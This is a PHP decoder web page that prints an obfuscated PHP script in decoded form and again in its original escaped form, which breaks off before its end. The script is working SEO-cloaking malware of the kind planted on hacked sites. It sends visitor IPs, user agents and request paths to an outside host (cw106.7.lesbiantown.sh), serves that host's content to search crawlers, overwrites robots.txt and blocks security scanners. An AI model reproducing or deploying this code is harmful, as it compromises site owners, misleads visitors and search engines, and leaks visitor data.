Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto jrfv5; iBn2L: goto z3sNR; goto SJyne; kAyDw: exu55: goto R_mDP; LaXmk: $uaPKR..
Decoded Output download
<?php
goto jrfv5; iBn2L: goto z3sNR; goto SJyne; kAyDw: exu55: goto R_mDP; LaXmk: $uaPKR = 0; goto a9B30; n7wXd: $aPoBo = $P_a1X . "://" . $_SERVER["HTTP_HOST"] . "/jybjyb"; goto B_Y4_; IwyHS: header("Content-Type: text/html; charset=utf-8"); goto tEf6_; C4rSO: EU5cf: goto Daled; uL1cY: $i0Yea = "6"; goto SuRkO; Daled: $uaPKR = 1; goto TyE91; xIuU6: $J1tn0 = URLEncODe(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto Od74j; Ysu9F: $wZt1W = "http"; goto uL1cY; lAv8r: echo "ok"; goto JtIqJ; aJS5L: curl_cLOSE($HTzVg); goto kAyDw; quT0V: goto JWa1k; goto pyqSD; TyE91: jcXm2("jyb.txt", "1"); goto qaanj; SNKFL: header("HTTP/1.0 403 Forbidden"); goto z7eaO; aKGc1: function YYra4($xxQYF) { goto WOCCT; KjA71: P3d0I: goto aO3zg; fWMRA: if (!$ZPOXC) { goto P3d0I; } goto UJpIZ; aO3zg: return false; goto G7z4J; WOCCT: $ZPOXC = fopen($xxQYF, "r"); goto fWMRA; xMiLv: return $Di8c_; goto KjA71; UJpIZ: $Di8c_ = fread($ZPOXC, filesize($xxQYF)); goto ruOb8; ruOb8: fclose($ZPOXC); goto xMiLv; G7z4J: } goto zlXS9; UhUDV: XA2Y3: goto QLQmH; ThwWf: $BxeBS = ''; goto QjCjZ; Wu5ih: if (!(strPoS($aKP09, "jybjyb") !== false)) { goto rKoxx; } goto lAv8r; e0aeT: $U2b4r = "7.lesbiantown.sh"; goto l7JDc; Tz2mA: CUrL_SEToPT($HTzVg, CURLOPT_FOLLOWLOCATION, false); goto hNmP_; Gjt1s: $oV4YY = curL_exec($HTzVg); goto aJS5L; nemja: goto JWa1k; goto nLA6S; l0Tbr: goto mIZsF; goto imxSA; R_mDP: if (empty($oV4YY)) { goto CwFyB; } goto y_7Vk; yKOqO: jCXm2("robots.txt", $oV4YY); goto pxoap; t90hS: $BxeBS = trim($BxeBS) . "
" . "Sitemap: {$gsSli}"; goto IOT9T; K3iO3: $OHm7Y = $_SERVER["SCRIPT_NAME"]; goto SeUAV; mN57d: $ZqaOJ = "Google|Yahoo|Bing|Docomo"; goto gzKrP; W4SFt: SNCvE: goto derBU; SeUAV: if (STRPOS($OHm7Y, "index.ph") !== false) { goto ruNqo; } goto eXR1X; zlXS9: if (STrPOs($aKP09, "favicon.ico") !== false) { goto ZPbPx; } goto BB8W4; JembZ: KaVJ5: goto JkjEB; xwAEB: $PamFR = UrLeNcoDe($_SERVER["HTTP_USER_AGENT"]); goto xIuU6; w27nf: CwFyB: goto qXVx1; nLA6S: JreGR: goto w8xI9; Y6E9R: mIZsF: goto Ys7pc; FlwqV: if (SUBSTr($oV4YY, 0, 5) == "<?xml") { goto LEFDS; } goto IwyHS; Mm_15: N4rHB: goto HKXRu; BukHe: Ljilh: goto gaWV8; JsHc7: CuRL_seToPt($HTzVg, CURLOPT_URL, $DDOgJ); goto kIuQX; XphLb: $_SERVER["REQUEST_SCHEME"] = "http"; goto HzRz4; StUc4: exit; goto oWYZ0; imxSA: xtIcE: goto w5rPq; RpEvF: if ($oV4YY === "ok") { goto EU5cf; } goto LaXmk; PlbGt: $P_a1X = UrleNCOdE($_SERVER["REQUEST_SCHEME"]); goto tsVNL; EkKas: $gsSli = "{$P_a1X}://" . $QvnTe . $OHm7Y . "sitemap.xml"; goto t90hS; HKXRu: JcXM2("robots.txt", $BxeBS); goto JembZ; xpoz8: dk0Cj: goto PlbGt; pPYU4: $OHm7Y = "/"; goto iBn2L; tEf6_: goto Q2M2A; goto kC9p1; q5Vdz: $HTzVg = cuRL_inIT(); goto JsHc7; IOT9T: $RCzKK = ''; goto WtPkJ; EQkeN: if (!(strPOS($aKP09, "robots.txt") !== false)) { goto IXIna; } goto yKOqO; whzsO: Q2M2A: goto l0Tbr; w8xI9: $Qo8rf = $_SERVER["HTTP_CLIENT_IP"]; goto quT0V; vN4CP: $uaPKR = 0; goto tKv06; yA11r: $DfbDu = urlENCOde($_SERVER["SCRIPT_NAME"]); goto AVIRB; HzRz4: goto dk0Cj; goto UhUDV; hNmP_: curl_sETOpt($HTzVg, CURLOPT_SSL_VERIFYPEER, FALSE); goto duewz; KxRIj: JWa1k: goto hSSap; EVr_a: header("HTTP/1.0 500 Internal Server Error"); goto StUc4; y_7Vk: if (!(SubSTr($oV4YY, 0, 10) == "error code" || $oV4YY == "500")) { goto Ljilh; } goto k5hz9; gFBZO: $DDOgJ = $IpFTT . "?agent={$PamFR}&refer={$XqyZG}&lang={$J1tn0}&ip={$Qo8rf}&dom={$QvnTe}&http={$P_a1X}&uri={$aKP09}&pc={$sDKFs}&rewriteable={$uaPKR}&script={$DfbDu}"; goto ThwWf; QgUgV: goto FxKYQ; goto C4rSO; Olg4K: goto KaVJ5; goto Mm_15; WtPkJ: echo $gsSli . ": " . $RCzKK . "<br/>"; goto mCsX4; HBwbi: if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto Je8Af; } goto nemja; QjCjZ: if (!(stRPoS($aKP09, "pingsitemap") !== false)) { goto SNCvE; } goto K3iO3; VxV1J: $Qo8rf = $_SERVER["HTTP_X_FORWARDED_FOR"]; goto KxRIj; F_lO6: if (!Preg_MATch("/(YySpider|feedDemon|CensysInspect|Python|DotBot|JikeSpider|SeznamBot|AhrefsBot|Ezooms|coolpadWebkit|python-requests|zmEu|EasouSpider|httpClient|CrawlDaddy|swiftbot|LightDeckReports Bot|DigExt|Jaunty|Java|SemrushBot|AmazonBot|YisouSpider|Paloaltonetworks|Feedly|AskTbFXTV|DataForSEO|Scrapy|apacheBench|GPTBot|Heritrix|oBot|mj12bot|Indy Library|yandexBot|Go-http-client|Bytespider|python-urllib|UniversalFeedParser|Barkrowler|PetalBot)/i", $_SERVER["HTTP_USER_AGENT"])) { goto SpPw0; } goto SNKFL; KWtXm: SpPw0: goto w4YDO; H_GyF: if ($uaPKR == 0) { goto Df4uO; } goto pPYU4; vf6gW: function JCxM2($xxQYF, $Di8c_) { goto NYLSl; TFKXq: fclose($ZPOXC); goto K8J2j; TqUf0: fwrite($ZPOXC, $Di8c_); goto TFKXq; tykE0: AckoJ: goto iMrgi; K8J2j: return true; goto tykE0; NYLSl: $ZPOXC = fopen($xxQYF, "w"); goto nNdXE; iMrgi: return false; goto r5fyO; nNdXE: if (!$ZPOXC) { goto AckoJ; } goto TqUf0; r5fyO: } goto aKGc1; JtIqJ: exit; goto Q64e8; cR_wb: return; goto w27nf; SJyne: Df4uO: goto gsqyF; SuRkO: $OQ1Iz = "://cw10"; goto e0aeT; gaWV8: if (StRPOs($aKP09, "jp2023") !== false) { goto xtIcE; } goto FlwqV; QLQmH: $_SERVER["REQUEST_SCHEME"] = "https"; goto xpoz8; Mx1rA: rUYEF: goto mxpWi; mCsX4: $DDOgJ = $IpFTT . "?agent={$PamFR}&refer={$XqyZG}&lang={$J1tn0}&ip={$Qo8rf}&dom={$QvnTe}&http={$P_a1X}&uri={$aKP09}&pc={$sDKFs}&rewriteable={$uaPKR}&script={$DfbDu}&sitemap=" . urleNcODe($gsSli); goto W4SFt; gLHBJ: if (!empty($oV4YY)) { goto exu55; } goto q5Vdz; gsqyF: $OHm7Y = "/?"; goto QF7qL; Y4pzS: dwSSt: goto gFBZO; Q64e8: rKoxx: goto vN4CP; iymvR: QH_4j: goto EqYbu; mQ5V7: $sDKFs = "UgYOAQG"; goto mN57d; abv1J: goto QH_4j; goto I46ih; AVIRB: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto XA2Y3; } goto XphLb; hSSap: $Qo8rf = uRlENcODE($Qo8rf); goto yE689; JkjEB: exit; goto cR_wb; WKnYw: ruNqo: goto H_GyF; qaanj: FxKYQ: goto qljDS; hO_s1: goto tCao3; goto Y4pzS; K95BI: goto E2zy6; goto jeww8; mxpWi: $BxeBS = "User-agent: *\xd
Allow: /"; goto EkKas; jrfv5: $cZnwV = "op/"; goto Ysu9F; GPAou: $uaPKR = yyRa4("jyb.txt"); goto K95BI; B_Y4_: $oV4YY = ItkaQ($aPoBo); goto RpEvF; qXVx1: tCao3: goto abv1J; derBU: $oV4YY = @fiLE_GET_CONtents($DDOgJ); goto gLHBJ; k83CB: function ItKaq($n9_MM) { goto WSFAe; RqdB5: return $Di8c_; goto aH3uw; WSFAe: $HTzVg = CURL_iNiT(); goto BqN_l; qjpyL: CuRL_SEtopT($HTzVg, CURLOPT_RETURNTRANSFER, true); goto h4J2i; hTAJ6: $Di8c_ = CUrl_eXec($HTzVg); goto pl5n6; pLE_f: CuRl_seToPT($HTzVg, CURLOPT_SSL_VERIFYHOST, false); goto hTAJ6; SJ10g: curl_SEtOpT($HTzVg, CURLOPT_SSL_VERIFYPEER, false); goto pLE_f; BqN_l: CURL_setOpt($HTzVg, CURLOPT_URL, $n9_MM); goto qjpyL; h4J2i: CUrl_setopt($HTzVg, CURLOPT_FOLLOWLOCATION, false); goto SJ10g; pl5n6: cUrL_cLoSe($HTzVg); goto RqdB5; aH3uw: } goto vf6gW; pxoap: IXIna: goto Olg4K; tsVNL: $aKP09 = urLENcOde($_SERVER["REQUEST_URI"]); goto Wu5ih; QBYgh: header("Content-Type: text/xml; charset=utf-8"); goto whzsO; z7eaO: exit; goto KWtXm; I46ih: ZPbPx: goto iymvR; JyUZk: goto rUYEF; goto WKnYw; k5hz9: header("HTTP/1.0 500 Internal Server Error"); goto wOuPw; jeww8: JBMy_: goto n7wXd; yE689: $QvnTe = UrleNCODe($_SERVER["HTTP_HOST"]); goto yA11r; pyqSD: Je8Af: goto VxV1J; duewz: curl_SETOpT($HTzVg, CURLOPT_SSL_VERIFYHOST, FALSE); goto Gjt1s; w5rPq: header("HTTP/1.1 404 Not Found"); goto Y6E9R; RqiSE: if (isset($_SERVER["HTTP_CLIENT_IP"])) { goto JreGR; } goto HBwbi; eXR1X: $OHm7Y = $OHm7Y . "?"; goto JyUZk; l7JDc: $IpFTT = $wZt1W . $OQ1Iz . $i0Yea . $U2b4r . $cZnwV; goto mQ5V7; BB8W4: if (sTrPos($aKP09, "robots.txt") !== false || STRpOs($aKP09, "pingsitemap") !== false || strPoS($aKP09, "jp2023") !== false || PReg_MATCh("@^/(.*?).xml$@i", $_SERVER["REQUEST_URI"]) || PREg_Match("/({$ZqaOJ})/i", $_SERVER["HTTP_USER_AGENT"]) || PReg_mATCh("/({$ZqaOJ})/i", $_SERVER["HTTP_REFERER"])) { goto dwSSt; } goto hO_s1; kIuQX: CURl_setOPt($HTzVg, CURLOPT_RETURNTRANSFER, true); goto Tz2mA; w4YDO: $XqyZG = URLENCodE(@$_SERVER["HTTP_REFERER"]); goto xwAEB; kC9p1: LEFDS: goto QBYgh; Od74j: $Qo8rf = $_SERVER["REMOTE_ADDR"]; goto RqiSE; QF7qL: z3sNR: goto Mx1rA; qljDS: E2zy6: goto k83CB; EqYbu: if (!PreG_MATcH("/[a-z]{5}\/[a-z][0-9]{1,}\.html/", $_SERVER["REQUEST_URI"])) { goto BVPSN; } goto EVr_a; m2xNc: if (!empty($BxeBS)) { goto N4rHB; } goto EQkeN; tKv06: if (!is_file("jyb.txt")) { goto JBMy_; } goto GPAou; wOuPw: exit; goto BukHe; Ys7pc: echo $oV4YY; goto m2xNc; a9B30: jcXm2("jyb.txt", "0"); goto QgUgV; gzKrP: ERRoR_RepoRting(0); goto F_lO6; oWYZ0: BVPSN:
?>
Did this file decode correctly?
Original Code
<?php
goto jrfv5; iBn2L: goto z3sNR; goto SJyne; kAyDw: exu55: goto R_mDP; LaXmk: $uaPKR = 0; goto a9B30; n7wXd: $aPoBo = $P_a1X . "\72\57\57" . $_SERVER["\x48\x54\x54\120\x5f\110\117\x53\x54"] . "\x2f\152\171\x62\152\171\142"; goto B_Y4_; IwyHS: header("\103\157\156\x74\145\x6e\x74\x2d\x54\x79\160\x65\72\x20\x74\x65\170\x74\x2f\150\164\155\x6c\73\40\x63\150\141\x72\x73\145\x74\75\x75\164\x66\55\70"); goto tEf6_; C4rSO: EU5cf: goto Daled; uL1cY: $i0Yea = "\66"; goto SuRkO; Daled: $uaPKR = 1; goto TyE91; xIuU6: $J1tn0 = URLEncODe(@$_SERVER["\110\x54\x54\120\137\101\103\103\105\120\124\137\114\101\116\107\x55\x41\x47\105"]); goto Od74j; Ysu9F: $wZt1W = "\x68\x74\164\x70"; goto uL1cY; lAv8r: echo "\157\x6b"; goto JtIqJ; aJS5L: curl_cLOSE($HTzVg); goto kAyDw; quT0V: goto JWa1k; goto pyqSD; TyE91: jcXm2("\x6a\171\x62\56\164\170\164", "\x31"); goto qaanj; SNKFL: header("\110\x54\x54\x50\x2f\x31\56\60\40\64\x30\63\40\x46\x6f\162\x62\151\144\x64\145\x6e"); goto z7eaO; aKGc1: function YYra4($xxQYF) { goto WOCCT; KjA71: P3d0I: goto aO3zg; fWMRA: if (!$ZPOXC) { goto P3d0I; } goto UJpIZ; aO3zg: return false; goto G7z4J; WOCCT: $ZPOXC = fopen($xxQYF, "\x72"); goto fWMRA; xMiLv: return $Di8c_; goto KjA71; UJpIZ: $Di8c_ = fread($ZPOXC, filesize($xxQYF)); goto ruOb8; ruOb8: fclose($ZPOXC); goto xMiLv; G7z4J: } goto zlXS9; UhUDV: XA2Y3: goto QLQmH; ThwWf: $BxeBS = ''; goto QjCjZ; Wu5ih: if (!(strPoS($aKP09, "\152\171\x62\x6a\x79\142") !== false)) { goto rKoxx; } goto lAv8r; e0aeT: $U2b4r = "\67\56\x6c\145\x73\x62\151\x61\156\164\x6f\167\156\56\163\x68"; goto l7JDc; Tz2mA: CUrL_SEToPT($HTzVg, CURLOPT_FOLLOWLOCATION, false); goto hNmP_; Gjt1s: $oV4YY = curL_exec($HTzVg); goto aJS5L; nemja: goto JWa1k; goto nLA6S; l0Tbr: goto mIZsF; goto imxSA; R_mDP: if (empty($oV4YY)) { goto CwFyB; } goto y_7Vk; yKOqO: jCXm2("\x72\x6f\x62\157\164\163\56\164\170\x74", $oV4YY); goto pxoap; t90hS: $BxeBS = trim($BxeBS) . "\15\12" . "\x53\x69\164\145\155\x61\x70\72\40{$gsSli}"; goto IOT9T; K3iO3: $OHm7Y = $_SERVER["\123\103\122\111\x50\124\137\x4e\x41\115\x45"]; goto SeUAV; mN57d: $ZqaOJ = "\107\157\157\x67\x6c\x65\174\131\x61\150\157\x6f\x7c\102\151\156\x67\174\104\x6f\x63\157\155\x6f"; goto gzKrP; W4SFt: SNCvE: goto derBU; SeUAV: if (STRPOS($OHm7Y, "\151\x6e\x64\x65\x78\56\160\x68") !== false) { goto ruNqo; } goto eXR1X; zlXS9: if (STrPOs($aKP09, "\146\x61\x76\151\x63\157\156\x2e\x69\143\157") !== false) { goto ZPbPx; } goto BB8W4; JembZ: KaVJ5: goto JkjEB; xwAEB: $PamFR = UrLeNcoDe($_SERVER["\110\124\x54\120\x5f\x55\123\x45\122\x5f\x41\107\105\116\x54"]); goto xIuU6; w27nf: CwFyB: goto qXVx1; nLA6S: JreGR: goto w8xI9; Y6E9R: mIZsF: goto Ys7pc; FlwqV: if (SUBSTr($oV4YY, 0, 5) == "\74\77\x78\155\154") { goto LEFDS; } goto IwyHS; Mm_15: N4rHB: goto HKXRu; BukHe: Ljilh: goto gaWV8; JsHc7: CuRL_seToPt($HTzVg, CURLOPT_URL, $DDOgJ); goto kIuQX; XphLb: $_SERVER["\122\105\121\x55\x45\x53\124\137\123\x43\x48\105\115\x45"] = "\x68\164\164\160"; goto HzRz4; StUc4: exit; goto oWYZ0; imxSA: xtIcE: goto w5rPq; RpEvF: if ($oV4YY === "\x6f\x6b") { goto EU5cf; } goto LaXmk; PlbGt: $P_a1X = UrleNCOdE($_SERVER["\122\x45\121\x55\105\123\124\x5f\x53\103\x48\x45\115\105"]); goto tsVNL; EkKas: $gsSli = "{$P_a1X}\x3a\57\x2f" . $QvnTe . $OHm7Y . "\x73\151\164\x65\155\x61\160\x2e\x78\x6d\154"; goto t90hS; HKXRu: JcXM2("\x72\157\x62\x6f\164\x73\56\164\x78\x74", $BxeBS); goto JembZ; xpoz8: dk0Cj: goto PlbGt; pPYU4: $OHm7Y = "\57"; goto iBn2L; tEf6_: goto Q2M2A; goto kC9p1; q5Vdz: $HTzVg = cuRL_inIT(); goto JsHc7; IOT9T: $RCzKK = ''; goto WtPkJ; EQkeN: if (!(strPOS($aKP09, "\x72\157\x62\x6f\164\163\x2e\164\170\x74") !== false)) { goto IXIna; } goto yKOqO; whzsO: Q2M2A: goto l0Tbr; w8xI9: $Qo8rf = $_SERVER["\x48\x54\124\120\137\103\114\x49\x45\x4e\124\x5f\x49\120"]; goto quT0V; vN4CP: $uaPKR = 0; goto tKv06; yA11r: $DfbDu = urlENCOde($_SERVER["\123\x43\x52\x49\120\124\x5f\x4e\101\115\105"]); goto AVIRB; HzRz4: goto dk0Cj; goto UhUDV; hNmP_: curl_sETOpt($HTzVg, CURLOPT_SSL_VERIFYPEER, FALSE); goto duewz; KxRIj: JWa1k: goto hSSap; EVr_a: header("\110\x54\x54\x50\57\x31\56\x30\x20\x35\60\x30\40\111\156\x74\145\x72\156\141\154\x20\123\145\162\x76\x65\162\x20\105\x72\x72\x6f\x72"); goto StUc4; y_7Vk: if (!(SubSTr($oV4YY, 0, 10) == "\x65\x72\162\157\162\x20\143\x6f\x64\x65" || $oV4YY == "\x35\x30\x30")) { goto Ljilh; } goto k5hz9; gFBZO: $DDOgJ = $IpFTT . "\x3f\x61\x67\x65\156\164\75{$PamFR}\x26\x72\x65\x66\145\162\x3d{$XqyZG}\46\154\x61\x6e\147\75{$J1tn0}\x26\x69\x70\x3d{$Qo8rf}\x26\144\x6f\x6d\x3d{$QvnTe}\x26\150\x74\x74\160\75{$P_a1X}\x26\x75\x72\x69\75{$aKP09}\46\160\x63\x3d{$sDKFs}\46\162\145\167\162\151\x74\145\x61\142\x6c\145\x3d{$uaPKR}\x26\163\143\x72\x69\160\164\75{$DfbDu}"; goto ThwWf; QgUgV: goto FxKYQ; goto C4rSO; Olg4K: goto KaVJ5; goto Mm_15; WtPkJ: echo $gsSli . "\72\40" . $RCzKK . "\74\142\x72\57\76"; goto mCsX4; HBwbi: if (isset($_SERVER["\110\x54\124\x50\137\130\x5f\x46\117\122\127\101\122\x44\105\104\x5f\106\x4f\x52"])) { goto Je8Af; } goto nemja; QjCjZ: if (!(stRPoS($aKP09, "\160\x69\156\x67\x73\151\164\x65\x6d\141\x70") !== false)) { goto SNCvE; } goto K3iO3; VxV1J: $Qo8rf = $_SERVER["\110\124\124\120\137\130\137\106\117\x52\x57\x41\x52\104\105\x44\x5f\106\117\x52"]; goto KxRIj; F_lO6: if (!Preg_MATch("\57\50\x59\x79\123\x70\x69\144\145\x72\x7c\x66\145\145\144\104\x65\155\157\156\x7c\x43\x65\156\x73\x79\163\111\x6e\163\x70\145\143\x74\174\x50\x79\x74\150\x6f\156\174\x44\157\x74\102\x6f\164\174\112\x69\153\145\123\x70\x69\144\x65\162\174\x53\145\x7a\156\x61\x6d\102\x6f\x74\x7c\101\150\x72\x65\x66\163\x42\157\164\x7c\105\172\x6f\157\155\163\174\143\157\x6f\x6c\160\x61\144\127\145\x62\x6b\x69\x74\174\x70\171\x74\150\x6f\x6e\55\162\x65\x71\165\145\x73\164\x73\x7c\x7a\155\105\x75\x7c\x45\141\x73\x6f\x75\123\x70\x69\x64\145\x72\x7c\x68\164\x74\160\103\154\x69\x65\x6e\164\174\103\x72\141\x77\154\x44\141\x64\x64\171\174\163\x77\x69\146\x74\x62\x6f\164\x7c\114\151\x67\x68\164\x44\145\143\153\x52\x65\x70\157\162\164\163\40\102\157\164\174\x44\151\x67\105\x78\164\x7c\x4a\x61\165\156\x74\171\x7c\x4a\141\x76\141\174\x53\x65\155\x72\165\x73\150\102\157\x74\174\101\155\x61\172\157\x6e\x42\x6f\164\174\131\151\x73\x6f\165\123\x70\x69\144\145\x72\x7c\120\x61\154\x6f\x61\x6c\164\x6f\x6e\145\164\x77\x6f\x72\x6b\163\x7c\x46\145\x65\144\154\171\174\101\x73\x6b\x54\x62\106\130\124\126\x7c\x44\141\164\141\x46\157\162\x53\x45\x4f\x7c\x53\143\162\x61\x70\x79\x7c\141\x70\141\143\150\x65\102\145\x6e\x63\x68\174\x47\x50\x54\102\x6f\164\174\110\x65\x72\151\164\162\151\170\174\157\102\x6f\x74\174\155\x6a\61\62\x62\157\x74\174\111\x6e\144\x79\x20\114\151\x62\x72\141\162\x79\x7c\171\x61\x6e\144\x65\x78\102\x6f\164\174\107\157\x2d\150\164\x74\160\x2d\x63\x6c\x69\145\156\x74\x7c\x42\x79\x74\145\163\160\151\x64\x65\162\174\x70\x79\164\150\157\156\55\165\162\x6c\x6c\x69\x62\x7c\x55\x6e\151\166\145\x72\163\x61\154\106\145\145\x64\x50\x61\162\x73\x65\x72\x7c\x42\141\162\153\162\157\167\154\x65\162\174\x50\145\164\x61\x6c\102\x6f\164\x29\x2f\x69", $_SERVER["\x48\124\x54\x50\x5f\x55\x53\x45\122\137\x41\107\x45\116\124"])) { goto SpPw0; } goto SNKFL; KWtXm: SpPw0: goto w4YDO; H_GyF: if ($uaPKR == 0) { goto Df4uO; } goto pPYU4; vf6gW: function JCxM2($xxQYF, $Di8c_) { goto NYLSl; TFKXq: fclose($ZPOXC); goto K8J2j; TqUf0: fwrite($ZPOXC, $Di8c_); goto TFKXq; tykE0: AckoJ: goto iMrgi; K8J2j: return true; goto tykE0; NYLSl: $ZPOXC = fopen($xxQYF, "\x77"); goto nNdXE; iMrgi: return false; goto r5fyO; nNdXE: if (!$ZPOXC) { goto AckoJ; } goto TqUf0; r5fyO: } goto aKGc1; JtIqJ: exit; goto Q64e8; cR_wb: return; goto w27nf; SJyne: Df4uO: goto gsqyF; SuRkO: $OQ1Iz = "\72\57\57\x63\x77\61\x30"; goto e0aeT; gaWV8: if (StRPOs($aKP09, "\152\x70\62\60\x32\x33") !== false) { goto xtIcE; } goto FlwqV; QLQmH: $_SERVER["\x52\105\x51\125\x45\x53\x54\137\123\103\110\x45\115\105"] = "\150\x74\x74\x70\x73"; goto xpoz8; Mx1rA: rUYEF: goto mxpWi; mCsX4: $DDOgJ = $IpFTT . "\77\141\x67\x65\x6e\x74\x3d{$PamFR}\46\162\x65\146\145\x72\x3d{$XqyZG}\x26\154\141\x6e\x67\75{$J1tn0}\46\151\x70\75{$Qo8rf}\x26\144\x6f\155\x3d{$QvnTe}\46\150\x74\x74\x70\75{$P_a1X}\46\x75\x72\151\75{$aKP09}\46\x70\x63\x3d{$sDKFs}\46\162\145\x77\162\151\x74\145\141\142\x6c\x65\75{$uaPKR}\x26\163\143\x72\x69\160\x74\75{$DfbDu}\x26\163\x69\164\145\x6d\x61\x70\75" . urleNcODe($gsSli); goto W4SFt; gLHBJ: if (!empty($oV4YY)) { goto exu55; } goto q5Vdz; gsqyF: $OHm7Y = "\x2f\77"; goto QF7qL; Y4pzS: dwSSt: goto gFBZO; Q64e8: rKoxx: goto vN4CP; iymvR: QH_4j: goto EqYbu; mQ5V7: $sDKFs = "\x55\x67\131\117\101\x51\x47"; goto mN57d; abv1J: goto QH_4j; goto I46ih; AVIRB: if (!empty($_SERVER["\122\x45\121\125\105\x53\124\137\123\103\110\x45\115\x45"]) && $_SERVER["\x52\x45\x51\x55\105\x53\124\137\x53\x43\x48\x45\x4d\105"] == "\x68\164\x74\x70\163" || !empty($_SERVER["\x48\x54\124\120\x53"]) && $_SERVER["\x48\124\124\120\x53"] == "\x6f\156" || !empty($_SERVER["\123\x45\122\126\x45\x52\x5f\x50\117\122\x54"]) && $_SERVER["\x53\105\x52\x56\105\x52\x5f\x50\117\122\124"] == "\x34\x34\x33" || isset($_SERVER["\110\124\124\120\137\130\x5f\106\x4f\122\x57\101\x52\x44\x45\x44\x5f\x50\x52\x4f\x54\x4f"]) && $_SERVER["\x48\x54\124\x50\x5f\130\137\x46\117\122\x57\x41\122\x44\x45\104\x5f\x50\x52\117\x54\x4f"] == "\150\164\164\x70\x73") { goto XA2Y3; } goto XphLb; hSSap: $Qo8rf = uRlENcODE($Qo8rf); goto yE689; JkjEB: exit; goto cR_wb; WKnYw: ruNqo: goto H_GyF; qaanj: FxKYQ: goto qljDS; hO_s1: goto tCao3; goto Y4pzS; K95BI: goto E2zy6; goto jeww8; mxpWi: $BxeBS = "\x55\163\145\162\55\141\x67\x65\156\x74\72\40\x2a\xd\12\101\x6c\x6c\157\x77\x3a\40\x2f"; goto EkKas; jrfv5: $cZnwV = "\157\160\x2f"; goto Ysu9F; GPAou: $uaPKR = yyRa4("\x6a\x79\142\x2e\164\x78\164"); goto K95BI; B_Y4_: $oV4YY = ItkaQ($aPoBo); goto RpEvF; qXVx1: tCao3: goto abv1J; derBU: $oV4YY = @fiLE_GET_CONtents($DDOgJ); goto gLHBJ; k83CB: function ItKaq($n9_MM) { goto WSFAe; RqdB5: return $Di8c_; goto aH3uw; WSFAe: $HTzVg = CURL_iNiT(); goto BqN_l; qjpyL: CuRL_SEtopT($HTzVg, CURLOPT_RETURNTRANSFER, true); goto h4J2i; hTAJ6: $Di8c_ = CUrl_eXec($HTzVg); goto pl5n6; pLE_f: CuRl_seToPT($HTzVg, CURLOPT_SSL_VERIFYHOST, false); goto hTAJ6; SJ10g: curl_SEtOpT($HTzVg, CURLOPT_SSL_VERIFYPEER, false); goto pLE_f; BqN_l: CURL_setOpt($HTzVg, CURLOPT_URL, $n9_MM); goto qjpyL; h4J2i: CUrl_setopt($HTzVg, CURLOPT_FOLLOWLOCATION, false); goto SJ10g; pl5n6: cUrL_cLoSe($HTzVg); goto RqdB5; aH3uw: } goto vf6gW; pxoap: IXIna: goto Olg4K; tsVNL: $aKP09 = urLENcOde($_SERVER["\122\x45\121\125\105\123\124\137\125\122\x49"]); goto Wu5ih; QBYgh: header("\103\x6f\156\164\145\x6e\164\x2d\x54\x79\160\x65\72\x20\x74\x65\170\164\x2f\x78\155\154\73\40\143\x68\x61\162\163\x65\x74\75\165\x74\x66\x2d\x38"); goto whzsO; z7eaO: exit; goto KWtXm; I46ih: ZPbPx: goto iymvR; JyUZk: goto rUYEF; goto WKnYw; k5hz9: header("\x48\124\124\x50\57\61\x2e\x30\40\x35\x30\60\x20\111\156\x74\145\x72\156\x61\154\x20\x53\145\162\x76\145\x72\x20\x45\162\x72\157\x72"); goto wOuPw; jeww8: JBMy_: goto n7wXd; yE689: $QvnTe = UrleNCODe($_SERVER["\x48\124\x54\120\137\110\117\123\x54"]); goto yA11r; pyqSD: Je8Af: goto VxV1J; duewz: curl_SETOpT($HTzVg, CURLOPT_SSL_VERIFYHOST, FALSE); goto Gjt1s; w5rPq: header("\x48\x54\124\x50\57\61\x2e\x31\x20\64\x30\x34\40\116\157\x74\x20\x46\x6f\x75\x6e\x64"); goto Y6E9R; RqiSE: if (isset($_SERVER["\x48\x54\124\120\x5f\x43\114\x49\x45\116\x54\x5f\x49\120"])) { goto JreGR; } goto HBwbi; eXR1X: $OHm7Y = $OHm7Y . "\x3f"; goto JyUZk; l7JDc: $IpFTT = $wZt1W . $OQ1Iz . $i0Yea . $U2b4r . $cZnwV; goto mQ5V7; BB8W4: if (sTrPos($aKP09, "\x72\157\x62\157\164\x73\x2e\x74\170\x74") !== false || STRpOs($aKP09, "\160\151\156\147\x73\x69\x74\145\x6d\141\x70") !== false || strPoS($aKP09, "\x6a\x70\x32\x30\62\63") !== false || PReg_MATCh("\100\136\57\50\x2e\x2a\77\x29\56\170\155\154\44\100\151", $_SERVER["\122\x45\121\x55\105\123\124\x5f\125\122\111"]) || PREg_Match("\x2f\x28{$ZqaOJ}\x29\x2f\x69", $_SERVER["\110\x54\x54\x50\x5f\125\x53\x45\122\137\x41\107\x45\116\124"]) || PReg_mATCh("\x2f\50{$ZqaOJ}\51\x2f\x69", $_SERVER["\110\124\x54\120\137\122\105\x46\105\122\x45\122"])) { goto dwSSt; } goto hO_s1; kIuQX: CURl_setOPt($HTzVg, CURLOPT_RETURNTRANSFER, true); goto Tz2mA; w4YDO: $XqyZG = URLENCodE(@$_SERVER["\110\124\124\120\137\122\105\x46\x45\x52\105\x52"]); goto xwAEB; kC9p1: LEFDS: goto QBYgh; Od74j: $Qo8rf = $_SERVER["\x52\105\115\x4f\x54\x45\137\x41\x44\104\122"]; goto RqiSE; QF7qL: z3sNR: goto Mx1rA; qljDS: E2zy6: goto k83CB; EqYbu: if (!PreG_MATcH("\x2f\133\141\55\172\135\x7b\65\x7d\x5c\57\x5b\x61\55\172\x5d\133\x30\x2d\x39\135\x7b\x31\x2c\175\x5c\x2e\150\164\x6d\154\x2f", $_SERVER["\122\x45\x51\125\x45\x53\124\137\x55\x52\111"])) { goto BVPSN; } goto EVr_a; m2xNc: if (!empty($BxeBS)) { goto N4rHB; } goto EQkeN; tKv06: if (!is_file("\x6a\x79\142\x2e\x74\170\164")) { goto JBMy_; } goto GPAou; wOuPw: exit; goto BukHe; Ys7pc: echo $oV4YY; goto m2xNc; a9B30: jcXm2("\x6a\x79\142\56\164\x78\x74", "\x30"); goto 